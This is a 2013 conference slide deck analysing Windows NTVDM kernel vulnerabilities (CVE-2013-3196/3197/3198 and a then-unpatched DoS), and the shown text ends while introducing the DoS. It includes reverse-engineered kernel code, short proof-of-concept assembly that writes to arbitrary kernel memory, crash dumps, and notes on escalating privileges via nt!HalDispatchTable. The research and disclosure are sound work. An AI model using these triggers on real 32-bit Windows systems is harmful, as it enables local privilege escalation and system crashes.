Windows Kernel Trap Handler and NTVDM Vulnerabilities – Case Study

Mateusz "j00ru" Jurczyk

ZeroNights 2013 E.0x03

Moscow, Russia
Introduction
Mateusz “j00ru” Jurczyk

- Information Security Engineer @ Google
- Extremely into Windows NT internals

- [http://j00ru.vexillium.org/](http://j00ru.vexillium.org/)
- [@j00ru](https://twitter.com/j00ru)
What?

Case study of recent NT Virtual DOS Machine vulnerabilities in the Windows kernel fixed by the MS13-063 bulletin.
Topics covered

• A brief history of Real mode, Virtual-8086 mode and Windows NTVDM
• Prior research
• Case study
  a. **CVE-2013-3196** (nt!PushInt write-what-where condition)
  b. **CVE-2013-3197** (nt!PushException write-what-where condition)
  c. **CVE-2013-3198** (nt!VdmCallStringIoHandler write-where condition)
  d. **0-day** (nt!PushPmInterrupt and nt!PushRmInterrupt Blue Screen of Death DoS)
• Conclusions and final thoughts
Why?

Operating system security is the last line of defense for client software security today.

e.g. see MWR Labs pwn2own 2013 Windows win32k.sys exploit write-up:
Real mode, Virtual-8086 mode and Windows
Back in the day...
Real mode – the beginnings of x86

• First introduced in 1978 with the Intel 8086 CPU.
• Primary execution mode on x86 until ~1990.
• Key characteristics
  – Segmented addressing mode.
  – Addressable memory limited to $2^{20}$ (1 048 576) bytes = 1MB.
    • a little more with the A20 line enabled.
  – Limited execution context – eight general purpose 16-bit registers.
  – Lack of system security support.
    • no privilege level separation.
    • no memory protection.
    • no multitasking.
Real mode – the beginnings of x86

• Despite the architecture limitations, a number of programs were developed for 16-bit Real Mode.
Intel 80386 – the start of new era

• In 1985, Intel introduces a first CPU with full **Protected mode**.
  – Privilege level separation (rings 0-3)
  – Paging
  – Memory protection
  – Multitasking
  – Addressable memory extended to $2^{32}$ bytes (4GB)

• **NOT** backward compatible with Real mode.
  – Different CPU context, address width, instruction encoding and more.
Intel 80386 – the start of new era

- Protected mode was partially adopted by the Windows 3.1x and Windows 9x families.
  - Hybrid platforms, i.e. they switched back and forth between the 16-bit real and 32-bit protected modes.

- Windows NT 3.1 was the first fully 32-bit system released by Microsoft.
  - All further NT-family systems executed in Protected mode, until Long mode (64-bit) came along.
But hey...

...what about backward compatibility with all the DOS games and accounting software?
Basics of DOS compatibility

• Switching back to real mode to execute legacy software compromises 32-bit OS security.

• Effective solution: **Virtual 8086 mode**
  
  – Separate execution mode shipped by Intel as an integral part of Protected mode.
  
  – Designed specifically to enable secure execution of antique 16-bit programs within a “sandbox”.
  
  – Implements a trap-based “virtualization” environment.
    
    • From inside: analogous to actual Real mode.
    
    • From outside: managed by the operating system.
Legacy software execution flow in v8086

- **Protected mode (operating system)**
  - set up the v8086 environment
  - switch to v8086 at program entry point
  - emulate privileged instruction
  - resume execution

- **Virtual 8086 mode (legacy software)**
  - start of 16-bit software
  - regular 16-bit execution
  - privileged 16-bit instruction
In Windows, things get more interesting

• Parts of the hypervisor are implemented directly in the kernel.

• All remaining functionality is handled by a user-mode `NTVDM.EXE` process.
  – As in “NT Virtual DOS Machine”
  – 32-bit host process for 16-bit apps.
Legacy software execution flow in Windows

- **Kernel-mode v8086 initialization**
- **Switch to program entry point**
- **Handle action in ring-0**
- **Pass event to NTVDM**
- **Resume 16-bit execution**

Protected mode (kernel)

Protected mode (NTVDM.EXE)

Virtual 8086 mode (legacy software)

- **User-mode v8086 initialization**
- **Start of 16-bit software**
- **Regular 16-bit execution**
- **Privileged action**
- **Privileged action requiring NTVDM**
- **Regular 16-bit execution**
Kernel attack surface

- The NTVDM.EXE process is treated in a very special way by the Windows kernel.
  - Performance “hooks” in x86 trap handlers.
    - KiTrap00, KiTrap01, KiTrap02, KiTrap03, KiTrap04, KiTrap05, KiTrap06, KiTrap07, KiTrap0b, KiTrap0c, KiTrap0d, KiTrap0e, KiTrap13
  - Dedicated system calls in ntoskrnl.exe.
    - nt!NtVdmControl, ...
  - Dedicated system calls in win32k.sys.
    - win32k!NtUserInitTask, ...
**Attack surface availability**

- NTVDM.EXE is “special”, but runs with local user’s security token.

- User can run arbitrary 32-bit code within the subsystem via `OpenProcess()` and `CreateRemoteThread()`.

- Entire VDM – related attack surface is freely available to the local attacker.
Attack surface availability – problems

• Long mode doesn’t support virtual-8086.
  – Consequently, VDM is eliminated from all x64 platforms.
    • ... making the vector only suitable for 32-bit systems.

• Microsoft disabled NTVDM by default starting with Windows 8.
  – Globally re-enabling requires administrative rights (HKLM access)
  – Very good mitigation decision.

• Vulnerabilities still good for:
  – All 32-bit platforms up to and including Windows 7.
  – Windows 8 and 8.1 running DOS programs (e.g. some enterprises or DOS gamers’ machines).
Prior research
Historical look at NTVDM security

Support for legacy 16-bit programs in Windows has a long history of vulnerabilities.
CVE-2004-0118: Windows VDM TIB Local Privilege Escalation

- **Discovered by:** Derek Soeder
- **Release date:** April 13, 2004
- **Affected platforms:** Windows NT 4.0 – Server 2003
- **Type:** Loading untrusted CPU context by the #UD trap handler.
CVE-2004-0208: Windows VDM #UD Local Privilege Escalation

- **Discovered by:** Derek Soeder
- **Release date:** October 12, 2004
- **Affected platforms:** Windows NT 4.0 – 2000
- **Type:** NULL Pointer Dereference due to uninitialized pointer in a non-typical order of `nt!NtvdmControl` calls.
CVE-2007-1206: Zero Page Race Condition Privilege Escalation

- **Discovered by:** Derek Soeder
- **Release date:** April 10, 2007
- **Affected platforms:** Windows NT 4.0 – Server 2003
- **Type:** Race condition in accessing a user-mode memory mapping with writable access triggered via `nt!NtVdmControl`.
CVE-2010-0232: Microsoft Windows #GP Trap Handler Local Privilege Escalation Vulnerability

- **Discovered by:** Tavis Ormandy
- **Release date:** January 19, 2010
- **Affected platforms:** Windows 2000 - 7
- **Type:** Kernel-mode stack switch caused by invalid assumptions made by the `nt!KiTrap0d` trap handler.
CVE-2010-3941: Windows VDM Task Initialization Vulnerability

- **Discovered by:** Tarjei Mandt
- **Release date:** December 15, 2010
- **Affected platforms:** Windows 2000 - 7
- **Type:** Double free condition caused by a vulnerability in `win32k!NtUserInitTask`. 
CVE-2012-2553: Windows Kernel VDM use-after-free condition

- **Discovered by:** Mateusz “j00ru” Jurczyk
- **Release date:** December 18, 2012
- **Affected platforms:** Windows XP - 7
- **Type:** Use-after-free condition caused by a vulnerability in `win32k!xxxRegisterUserHungAppHandlers`. 
Summary

• There have been all sorts of memory errors in each VDM-related component: the **trap handlers**, **nt system calls** and **win32k.sys system calls**.

• Having discovered that the security posture of trap handlers is miserable even in Windows 7 earlier this year, I decided to take a deeper look into them.
  
  – For some trap handler bugs from the past, see slides from my "**Abusing the Windows Kernel**" talk at NoSuchCon 2013.
Case study

CVE-2013-3196

(nt!PushInt write-what-where condition)
**Word of introduction on #GP**

- **Interrupt 13 – General Protection Exception (#GP)**
  - Triggered upon most security-related CPU events.
  - Primarily user-mode threads attempting to perform forbidden operations.
  - The list is extremely long, see Intel Manuals 3A, section “Interrupt 13”.
General protection exception triggers

- Exceeding the segment limit when accessing the CS, DS, ES, FS, or GS segments.
- Exceeding the segment limit when referencing a descriptor table (except during a task switch or a stack switch).
- Transferring execution to a segment that is not executable.
- Writing to a code segment or a read-only data segment.
- Reading from an execute-only code segment.
- Loading the SS register with a segment selector for a read-only segment (unless the selector comes from a TSS during a task switch, in which case an invalid-TSS exception occurs).
- Loading the SS, DS, ES, FS, or GS register with a segment selector for a system segment.
- Loading the DS, ES, FS, or GS register with a segment selector for an execute-only code segment.
- Loading the SS register with the segment selector of an executable segment or a null segment selector.
- Loading the CS register with a segment selector for a data segment or a null segment selector.
- Accessing memory using the DS, ES, FS, or GS register when it contains a null segment selector.
- Switching to a busy task during a call or jump to a TSS.
- Using a segment selector on a non-IRET task switch that points to a TSS descriptor in the current LDT. TSS descriptors can only reside in the GDT. This condition causes a #TS exception during an IRET task switch.
- Violating any of the privilege rules described in Chapter 5, "Protection."
- Exceeding the instruction length limit of 15 bytes (this only can occur when redundant prefixes are placed before an instruction).
- Loading the CR0 register with a set PG flag (paging enabled) and a clear PE flag (protection disabled).
- Loading the CR0 register with a set NW flag and a clear CD flag.
- Referencing an entry in the IDT (following an interrupt or exception) that is not an interrupt, trap, or task gate.
- Attempting to access an interrupt or exception handler through an interrupt or trap gate from virtual-8086 mode when the handler's code segment DPL is greater than 0.
- Attempting to write a 1 into a reserved bit of CR4.
- Attempting to execute a privileged instruction when the CPL is not equal to 0 (see Section 5.9, "Privileged Instructions," for a list of privileged instructions).
- Writing to a reserved bit in an MSR.
- Accessing a gate that contains a null segment selector.
- Executing the INT n instruction when the CPL is greater than the DPL of the referenced interrupt, trap, or task gate.
- The segment selector in a call, interrupt, or trap gate does not point to a code segment.
- The segment selector operand in the LLDT instruction is a local type (TF flag is set) or does not point to a segment descriptor of the LDT type.
- The segment selector operand in the LTR instruction is local or points to a TSS that is not available.
- The target code-segment selector for a call, jump, or return is null.
- If the PAE and/or PSE flag in control register CR4 is set and the processor detects any reserved bits in a page-directory-pointer-table entry set to 1. These bits are checked during a write to control registers CR0, CR3, or CR4 that causes a reloading of the page-directory-pointer-table entry.
- Attempting to write a non-zero value into the reserved bits of the MXCSR register.
- Executing an SSE/SSE2/SSE3 instruction that attempts to access a 128-bit memory location that is not aligned on a 16-byte boundary when the instruction requires 16-byte alignment. This condition also applies to the stack segment.
Privileged instructions

- Privileged instructions can only be executed at **CPL=0**

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLTS</td>
<td>Clear Task-Switched Flag</td>
</tr>
<tr>
<td>HLT</td>
<td>Halt Processor</td>
</tr>
<tr>
<td>INVD</td>
<td>Invalidate Internal Caches</td>
</tr>
<tr>
<td>INVLPG</td>
<td>Invalidate TLB Entry</td>
</tr>
<tr>
<td>INVPCID</td>
<td>Invalidate Process-Context Identifier</td>
</tr>
<tr>
<td>LGDT</td>
<td>Load GDT Register</td>
</tr>
<tr>
<td>LIDT</td>
<td>Load IDT Register</td>
</tr>
<tr>
<td>LLDT</td>
<td>Load LDT Register</td>
</tr>
<tr>
<td>LMSW</td>
<td>Load Machine Status</td>
</tr>
<tr>
<td>LTR</td>
<td>Load Task Register</td>
</tr>
<tr>
<td>MONITOR</td>
<td>Set Up Monitor Address</td>
</tr>
<tr>
<td>MOV CRn</td>
<td>Move Control Register</td>
</tr>
<tr>
<td>MOV DRn</td>
<td>Move Debug Register</td>
</tr>
<tr>
<td>MOV TRn</td>
<td>Move Test Register</td>
</tr>
<tr>
<td>MWAIT</td>
<td>Monitor Wait</td>
</tr>
<tr>
<td>RDMSR</td>
<td>Read from Model Specific Register</td>
</tr>
<tr>
<td>RDPMC</td>
<td>Read Performance-Monitoring Counters</td>
</tr>
<tr>
<td>SYSEXIT</td>
<td>Fast Return From Fast System Call</td>
</tr>
<tr>
<td>WBINVD</td>
<td>Write Back and Invalidate Cache</td>
</tr>
<tr>
<td>WRMSR</td>
<td>Write to Model Specific Register</td>
</tr>
<tr>
<td>XSETBV</td>
<td>Set Extended Control Register</td>
</tr>
</tbody>
</table>
Sensitive instructions

- Sensitive instructions can only be executed at \( \text{CPL} \leq \text{IOPL} \)

<table>
<thead>
<tr>
<th>IN</th>
<th>- Input</th>
<th>OUTS</th>
<th>- Output String</th>
</tr>
</thead>
<tbody>
<tr>
<td>INS</td>
<td>- Input String</td>
<td>CLI</td>
<td>- Clear Interrupt-Enable Flag</td>
</tr>
<tr>
<td>OUT</td>
<td>- Output</td>
<td>STI</td>
<td>- Set Interrupt-Enable Flag</td>
</tr>
</tbody>
</table>
When ring-3 meets a privileged / sensitive instruction...

START (nt!KiTrap0d)

v8086?

ring 0?

cs == 0x1b?

ntvdm.exe?

recognize instruction

hmm... interesting!

END (CommonDispatchException0Args)

END (CommonDispatchException1Arg)

END (CommonDispatchException2Args)
nt!CommonDispatchException

kitrap0d.exe has stopped working

Windows is checking for a solution to the problem...
What are the other branches for?

- ring-0?
- cs == 0x1b?
- ntvdm.exe?
- opcode dispatch succeeded?
- exception reflection succeeded?

END (resume program execution)
END (dispatch exception normally)
VDM Opcode dispatching

- A special #GP handler branch is taken for two conditions:
  - KTRAP_FRAME.SegCS != KGDT_R3_CODE
  - The process is a VDM host.
- Part of DPMI (DOS Protected Mode Interface) support.
Inside nt!VdmDispatchOpcode_try()
What the heck...?

Windows implements kernel-level emulation of sensitive 32-bit instructions executed within NTVDM.EXE!

What can go wrong?
There's 16-bit emulation, too!

Also invoked by `nt!KiTrap0d`, remember the first “v8086” branch?
Quick summary

• Sensitive instructions executed in NTVDM.EXE don’t cause immediate crash.
  – The #GP handler attempts to seamlessly emulate them.
  – Sounds extremely fishy and potentially error-prone!

• In May 2013, I was probably the only person who had decided to perform an extensive security review of the codebase.
  – It dates back to 1993 (Windows NT 3.1), so every bug found likely affected every 32-bit NT-family operating system out there.

• I reverse engineered each of the emulation handlers very carefully... 😊
  – If you have access to WRK, the functionality is found in base\ntos\ke\i386\instemul.asm
First vulnerability found in...

nt!OpcodeINTnn
An insight into `nt!OpcodeINTnn()`

```c
BOOLEAN OpcodeINTnn(PKTRAP_FRAME trap_frame, PVOID eip, Reginfo *reginfo) {
    if (*((DWORD *)(0x714 & 0x203)) == 0x203) {
        VdmDispatchIntAck();
        return TRUE;
    }

    reginfo->RiEFlags = GetVirtualBits(trap_frame->EFlags);
    if (!SsToLinear(trap_frame->HardwareSegSs, reginfo)) {
        return FALSE;
    }

    PBYTE IntOperandPtr = eip + 1;
    if (IntOperandPtr - reginfo->RiCsBase > reginfo->RiCsLimit ||
        IntOperandPtr > MmHighestUserAddress) {
        return FALSE;
    }

    reginfo->RiEip = IntOperandPtr - reginfo->RiCsBase + 1;
    if (!PushInt(*IntOperandPtr, trap_frame, reginfo)) {
        return FALSE;
    }

    // Set trap_frame->HardwareEsp, trap_frame->SegCs, trap_frame->EFlags
    // and trap_frame->Eip.
    //
    return TRUE;
}
```
The Reginfo structure

- Internal, undocumented structure used internally for VDM instruction emulation.
- Stores parts of **KTRAP_FRAME** plus additional information.

```plaintext
00000000 Reginfo struc ; (sizeof=0x38)
00000000
00000000 RiSegSs dd ?
00000004 RiEsp dd ?
00000008 RiEFlags dd ?
0000000C RiSegCs dd ?
00000010 RiEip dd ?
00000014 RiTrapFrame dd ?
00000018 RiCsLimit dd ?
0000001C RiCsBase dd ?
00000020 RiCsFlags dd ?
00000024 RiSsLimit dd ?
00000028 RiSsBase dd ?
0000002C RiSsFlags dd ?
00000030 RiPrefixFlags dd ?
00000034 RiOperand dd ?
00000038 Reginfo ends
```
Inside *nt!PushInt()*, part 1.

```c
BOOLEAN PushInt(ULONG int_no, PKTRAP_FRAME trap_frame, Reginfo *reginfo) {
    PVDM_TIB VdmTib;
    VDM_INTERRUPT *VdmInt;
    PVOID VdmEsp, NewVdmEsp;

    VdmTib = NtCurrentTeb()->Vdm;
    if (VdmTib >= MmUserProbeAddress) {
        return FALSE;
    }

    VdmInt = &VdmTib->VtInterruptTable[int_no];
    if (VdmInt >= MmUserProbeAddress) {
        return FALSE;
    }

    VdmEsp = trap_frame->HardwareEsp;
    if (((reginfo->RiSsFlags & SEL_TYPE_BIG) == 0) &&
        ((USHORT)VdmEsp = VdmEsp)) {
    }

    if (VdmInt->ViFlags & VDM_INT_32) {
        if (VdmEsp < 12) {
            return FALSE;
        }
        NewVdmEsp = VdmEsp - 12;
    } else {
        if (VdmEsp < 6) {
            return FALSE;
        }
        NewVdmEsp = VdmEsp - 6;
    }

    reginfo->RiEsp = NewVdmEsp;
}
```

load user-mode VDM_INTERRUPT structure from TEB for specified invoked interrupt.

decrement user-mode Esp by 6 or 12 depending on VDM_INTERRUPT flags.
Inside nt!PushInt(), part 2.

if (reginfo->RiSsFlags & SEL_TYPE_ED) {
    if (NewVdmEsp <= reginfo->RiSsLimit) {
        return FALSE;
    }
} else if (NewVdmEsp >= reginfo->RiSsLimit) {
    return FALSE;
}

if (reginfo->ViFlags & VDM_INT_32) {
    *(DWORD *)(reginfo->RiSsBase + NewVdmEsp + 0) = reginfo->RiEip;
    *(DWORD *)(reginfo->RiSsBase + NewVdmEsp + 4) = trap_frame->SegCs;
    *(DWORD *)(reginfo->RiSsBase + NewVdmEsp + 8) = GetVirtualBits(reginfo->RiEFlags);
} else {
    *(WORD *)(reginfo->RiSsBase + NewVdmEsp + 0) = reginfo->RiEip;
    *(WORD *)(reginfo->RiSsBase + NewVdmEsp + 2) = trap_frame->SegCs;
    *(WORD *)(reginfo->RiSsBase + NewVdmEsp + 4) = GetVirtualBits(reginfo->RiEFlags);
}
Write-what-where condition

• Kernel emulates VDM instructions by manually crafting a trap frame on user stack.
  – Uses the full ss:esp user-mode address.
  – Didn’t perform address sanity checks (e.g. **ProbeForWrite**)
  – We could write 6 or 12 semi-controlled bytes into arbitrary kernel memory.
Reproduction – proof of concept

```plaintext
mov esp, 0xdeadbeef
int 0
```

- Above two instructions must be executed in the main NTVDM.EXE thread.
  - Vulnerability requires fully initialized VDM environment (\texttt{VdmTib} pointer in \texttt{TEB} and so forth). Also, \texttt{cs:} and \texttt{ss:} must point to custom LDT segments.
  - \texttt{Esp} can be any invalid kernel-mode address for the system to crash.
  - The \texttt{INT imm8} operand must be a kernel-mode trap (anything but \texttt{0x2a - 0x2e}) to generate a \#GP exception.
Reproduction – results

TRAP_FRAME:  a2ea4c24 -- (.trap 0xfffffffffa2ea4c24)
ErrCode = 00000002
eax=024ef568 ebx=00000000 ecx=00000000 edx=6710140f esi=a2ea4cb8 edi=deadbee3
eip=82ab21a7 esp=a2ea4c98 ebp=a2ea4d34 iopl=0              nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000       efl=00010202
nt!PushInt+0xa5:
82ab21a7 89143b    mov    dword ptr [ebx+edi],edx ds:0023:deadbee3=?????????
Resetting default scope
Maintaining reliability

Just a write-what-where condition is not enough; we want to maintain control over the process.
nt!OpcodeINTnn - epilogue

• After a “trap frame” is created, the return cs:eip is transferred to:
  - NtCurrentTeb()->Vdm->VtInterruptTable[int_no].ViCsSelector
  - NtCurrentTeb()->Vdm->VtInterruptTable[int_no].ViEip
nt!OpcodeINTnn – epilogue cont’d.

All required structures are in user-mode.

If we properly initialize the VdmInterruptTable pointer, we can control where execution goes after the exception.
Exploitation, affected versions

• Exploitation
  – One of the three what 32-bit values is the trap Eip.
  – Overwriting any kernel function pointer will do. I used the standard nt!HalDispatchTable method.
    • for this and all further demos during this presentation.

• Affected platforms: Windows NT 3.1 through Windows 8 32-bit.
  – exploitable on Vista+, see later.
• Add three instructions to verify that `ss:esp` is within user space.
Case study

CVE-2013-3197

(nt!PushException write-what-where condition)
Exception handling in NTVDM.EXE

DID YOU KNOW?

- It’s not only nt!KiTrap0d that implements VDM-specific handling...
- All exception trap handlers do!
- Meet the nt!Ki386VdmReflectException.
nt!Ki386VdmReflectException proximity graph
Exception handling control flow

• For any regular process, each trap handler eventually redirects to `nt!CommonDispatchException`.
  – in most cases; sometimes the process is just terminated.

• Control is then transferred to user-mode `ntdll!KiUserExceptionDispatcher` via `KTRAP_FRAME` modification.
  – VEH handlers are invoked.
  – SEH handlers are invoked.
  – Original execution is resumed with `nt!NtContinue`. 
Exception handling control flow cont’d.

- For VDM, the handlers first try to reflect the exception to the user-mode host process.
  - Create a “trap frame” on the user-mode stack.
  - Redirect execution to cs:eip specified in:
    - `NtCurrentTeb()->Vdm->VdmIntDescriptor[trap_no]->VfCsSelector`
    - `NtCurrentTeb()->Vdm->VdmIntDescriptor[trap_no]->VfEip`
  - This is achieved by a dedicated `nt!PushException` routine.
nt!PushException – trap frame creation code

```c
if (NtCurrentTeb()->Vdm->VtDpmiInfo.VpFlags & 1) /* 32-bit frame */ {
    if (!CheckEsp(32, reginfo)) {
        return FALSE;
    }

    *(DWORD)(reginfo->RiSsBase + reginfo->RiEsp - 4) = reginfo->RiSegSs;
    *(DWORD)(reginfo->RiSsBase + reginfo->RiEsp - 8) = reginfo->RiEsp;
    *(DWORD)(reginfo->RiSsBase + reginfo->RiEsp - 12) = GetVirtualBits(reginfo->RiEFlags);
    *(DWORD)(reginfo->RiSsBase + reginfo->RiEsp - 16) = reginfo->RiSegCs;
    *(DWORD)(reginfo->RiSsBase + reginfo->RiEsp - 20) = reginfo->RiEip;
    *(DWORD)(reginfo->RiSsBase + reginfo->RiEsp - 24) = reginfo->RiTrapFrame->TsErrCode;
    *(DWORD)(reginfo->RiSsBase + reginfo->RiEsp - 32) = NtCurrentTeb()->Vdm->VtDpmiInfo.VpDosxFaultIretD & 0xffff;
}
else /* 16-bit frame */ {
    if (!CheckEsp(16, reginfo)) {
        return FALSE;
    }

    *(WORD)(reginfo->RiSsBase + reginfo->RiEsp - 2) = reginfo->RiSegSs;
    *(WORD)(reginfo->RiSsBase + reginfo->RiEsp - 4) = reginfo->RiEsp;
    *(WORD)(reginfo->RiSsBase + reginfo->RiEsp - 6) = GetVirtualBits(reginfo->RiEFlags);
    *(WORD)(reginfo->RiSsBase + reginfo->RiEsp - 8) = reginfo->RiSegCs;
    *(WORD)(reginfo->RiSsBase + reginfo->RiEsp - 10) = reginfo->RiEip;
    *(WORD)(reginfo->RiSsBase + reginfo->RiEsp - 12) = reginfo->RiTrapFrame->TsErrCode;
    *(DWORD)(reginfo->RiSsBase + reginfo->RiEsp - 16) = NtCurrentTeb()->Vdm->VtDpmiInfo.VpDosxFaultIret;
}
```
Write-what-where condition

• Again, the kernel writes data to a user-controlled `ss:esp` address with no sanitization.

• This enabled an attacker to write 16 or 32 semi-controlled bytes into arbitrary kernel memory.
Reproduction – proof of concept

```assembly
mov esp, 0xdeadbeef
xor ecx, ecx
div ecx
```

- Above three instructions must be executed in the main NTVDM.EXE thread.
  - Again, vulnerability requires fully initialized VDM environment (and custom cs:ss: segments).
  - Esp can be any invalid kernel-mode address for the system to crash.
  - In the example, we trigger "Interrupt 0" (Divide Fault Exception). However, it is possible to trigger the vulnerability through the following trap numbers: {0, 1, 3, 4, 5, 6, 7, 0b, 0c, 0d}. 
Reproduction – results

TRAP_FRAME:  8dd97c28 -- (.trap 0xfffffffff8dd97c28)
ErrCode = 00000002
eax=000007f7  ebx=00000000  ecx=00000000  edx=deadbebf  esi=8dd97ce4  edi=00000634
eip=82a874b5  esp=8dd97c9c  ebp=8dd97d1c  iopl=0  nv up ei ng nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000  efl=00010282
nt!PushException+0x150:
82a874b5 6689441a0e  mov  word ptr [edx+ebx+0Eh],ax  ds:0023:deadbebd=????
Resetting default scope
Controlling execution afterwards

- TEB
- VDM_TIB
- VdmFaultTable
- FAULT 0x0
- FAULT 0x1
- FAULT 0x2
- FAULT 0x3
- FAULT 0x4
- FAULT 0x5
- FAULT 0x6
- Fault 0x7

- CsSelector
- SsSelector
- Eip
- Esp
- Flags
Exploitation, affected versions

• Exploitation
  – One of the eight *what* 32-bit values is the trap Eip.
  – `nt!HalDispatchTable` a good candidate, again.

• Affected platforms: **Windows NT 3.1** through **Windows 8 32-bit**.
  – exploitable on **Vista+**, see later.
Fix analysis

- Two `nt!MmUserProbeAddress` checks added for both 16 and 32-bit branches of the function.
Case study

CVE-2013-3198

(nt!VdmCallStringIoHandler write-where condition)
Port I/O emulation

- In addition to privileged instructions, the kernel also emulates the Port I/O ones (both Virtual 8086 and Protected mode).
- For all I/O instruction handlers, the operation is processed by `nt!Ki386VdmDispatchStringIo`. 
Port I/O emulation – references

• The Virtual 8086 mode port emulation functionality is quite complex, but virtually unknown and unused nowadays.

• Ivanlef0u wrote an excellent blog post detailing the inners of the mechanism, see “ProcessIoPortHandlers”.
  – Unfortunately in French (Google Translate works).
  – Who knows, maybe Ivan has known about the vulnerability for years. 😊
Port I/O emulation – kernel subsystem

- Device drivers can register VDM I/O handlers through `ZwSetInformationProcess(ProcessIoPortHandlers)`.
  - Only accessible from ring-0, enforced by many routines along the way.
- The kernel module specifies following information about each handler through an internal structure:
  - I/O port range
  - “READ” or “WRITE”.
  - Access size (1, 2 or 4).
  - One-off or string access.
  - Pointer to a kernel-mode handler routine.
Port I/O emulation – kernel subsystem

Example of a kernel-mode handler declaration:

typedef NTSTATUS
(PDRIVER_IO_PORT_UCHAR *) (  
    IN ULONG_PTR Context  
    IN ULONG Port,  
    IN UCHAR AccessMode,  
    IN OUT Data PUCHAR  
);
Port I/O emulation – kernel subsystem

• So... *theoretically*, drivers can emulate physical devices for VDM.

-But do they?
  (in a default Windows installation)

-No! well, sometimes...
Port I/O emulation – kernel subsystem

• There’s no virtual devices registered by default...

• Except for one that I know of:
  – when switching a 16-bit app console to full screen, `VIDEOPRT.SYS` registers handlers for the VGA ports (0x3b0 – 0x3df)
  – only works on systems with the default video driver.
    • likely server workstations, unlikely user PCs.
I/O handler registration occurs here...

ChildEBP  RetAddr  Args to Child
807b1738  82a55023  85886680  00000001  b06b1bf3  nt!Psp386InstallIoHandler
807b1994  828588a6  00000088  0000000d  807b1a40  nt!NtSetInformationProcess+0x7ad
807b1a1c  91619f84  00000088  0000000d  807b1a40  nt!KiSystemServicePostCall
807b1a60  91616467  86a357f0  00000001  b06b1bf3  nt!ZwSetInformationProcess+0x11
807b1ac4  82851c1e  86a357f0  86f32278  807b1acc  VIDEOPRT!pVideoPortDispatch+0x360
807b1af8  9a733564  86a35738  00230000  fe915c48  win32k!GreDeviceIoControlEx+0x97
807b1d18  828588a6  00000000  0130f294  00000004  win32k!NtGdiFullscreenControl+0x1100
807b1d18  77c77094  00000000  0130f294  00000004  nt!KiSystemServicePostCall
0130f25c  77ab6951  00670577  00000000  0130f294  ntdll!KiFastSystemCallRet
0130f260  00670577  00000000  0130f294  00000004  GDI32!NtGdiFullscreenControl+0xc
0130f28c  00672c78  00000088  0000000a  003bd0b0  conhost!ConnectToEmulator+0x6c
0130f3c0  0065f24d  00000001  003bd0b0  0130f4d4  conhost!DisplayModeTransition+0x40e
0130f458  7635c4e7  000e001c  00000003a  00000001  conhost!ConsoleWindowProc+0x419
Easy to initialize the handlers programatically

Switch the console to full screen and back with simple API calls:

```c
SetConsoleDisplayMode(GetStdHandle(STD_OUTPUT_HANDLE),
    CONSOLE_FULLSCREEN_MODE, NULL);
SetConsoleDisplayMode(GetStdHandle(STD_OUTPUT_HANDLE),
    CONSOLE_WINDOWED_MODE, NULL);
```
Now, back to instruction emulation...

- `nt!Ki386VdmDispatchStringIo` works as follows:

  1. Locate a handler for the emulated operation using `nt!Ps386GetVdmIoHandler`.

  2. If it’s a “READ”, copy byte(s) from `ds:si` to kernel buffer.

  3. Invoke the I/O handler.

  4. If it’s a “WRITE”, copy byte(s) from kernel buffer to `es:di`.
Aaand the vulnerability is...

- You guessed it – neither `ds:si` nor `es:di` were validated prior to usage.
  - In Protected mode, segments can have 32-bit base addresses.
  - We could read from and write to arbitrary kernel memory by initializing `ds.base` and `es.base` adequately.

```c
memcpy(&VdmStringIoBuffer, user_controlled, size);
memcpy(user_controlled, &VdmStringIoBuffer, size);
```
But wait...

- Can you even create an LDT entry with $\text{Base} \geq \text{MmUserProbeAddress}$?

- The answer is found in the `nt!PspIsDescriptorValid` routine invoked during segment creation.
  - In all NT-family systems until and including Windows XP, there indeed was a `LDT_ENTRY.Base` sanity check.
  - However, it was removed from Vista and all further platforms!
    - Kernel code should never operate on user-provided segments, anyway.
    - See Derek Soeder’s “Windows Expand-Down Data Segment Local Privilege Escalation” from 2004.
nt!PspIsDescriptorValid changes

- Ruben Santamarta noticed this back in 2010, see “Changes in PspIsDescriptorValid”.
  - quote: “Can you spot an exploitation vector? share it if so!”
  - there you go! 😊
Exploitation steps

1. Set cs: to a custom LDT entry.
2. Create an LDT entry with Base in kernel address space and load it to es:.
3. Run the following instructions to write a 0x00 byte to specified location:
   
   ```
   xor di, di
   mov dx, 0x3b0
   insb
   ```

4. ???

5. PROFIT!
Basic crash

TRAP_FRAME:  963889fc -- (.trap 0xffffffff963889fc)
ErrCode = 00000002
eax=aaaaaaaa00 ebx=00000001 ecx=ffffffffd edx=00000003 esi=8297d260 edi=aaaaaaaaa
eip=82854fc6 esp=96388a70 ebp=96388a78 iopl=0      vif nv up ei ng nz ac po cy
 cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000          efl=00090293
nt!memcpy+0x166:
82854fc6 8807     mov  byte ptr [edi],al   ds:0023:aaaaaaaaa=??
Resetting default scope
Exploitation, affected versions

• Exploitation
  – We can zero-out any kernel function pointer.
  – NULL page already allocated by NTVDM.EXE for v8086.

• Affected platforms: Windows NT 3.1 through Windows 8 32-bit.
  – Only exploitable on Vista, Server 2008, 7, Server 2012 and 8 due to changes in LDT entry creation.
Fix analysis

- An inlined `ProbeForRead()` and regular `ProbeForWrite()` call added for the “READ” and “WRITE” port variants, respectively.
Case study

0-day

(nt!PushPmInterrupt and nt!PushRmInterrupt Blue Screen of Death DoS)
Hack all the nt!Push... functions!

<table>
<thead>
<tr>
<th>Function</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>PushException</td>
<td>006712BE</td>
</tr>
<tr>
<td>PushInt</td>
<td>00670F2A</td>
</tr>
<tr>
<td>PushPmInterrupt(x,x,x,x)</td>
<td>006F0023</td>
</tr>
<tr>
<td>PushRmInterrupt(x,x,x,x)</td>
<td>006EFE9C</td>
</tr>
</tbody>
</table>

nt!PushException was vulnerable...
Nt!PushInt was vulnerable...

what about the other two?

... they are, too!
VDM interrupt dispatching basics

• In order to deliver interrupts to the Virtual 8086 mode environment, the kernel implements a virtual Interrupt Controller Adapter (ICA).
  – Emulates basic features of the Intel 8952A Priority Interrupt Controller.
  – Consists of two kernel-mode APIs: \texttt{nt!VdmpIcaAccept} and \texttt{nt!VdmpIcaScan}.
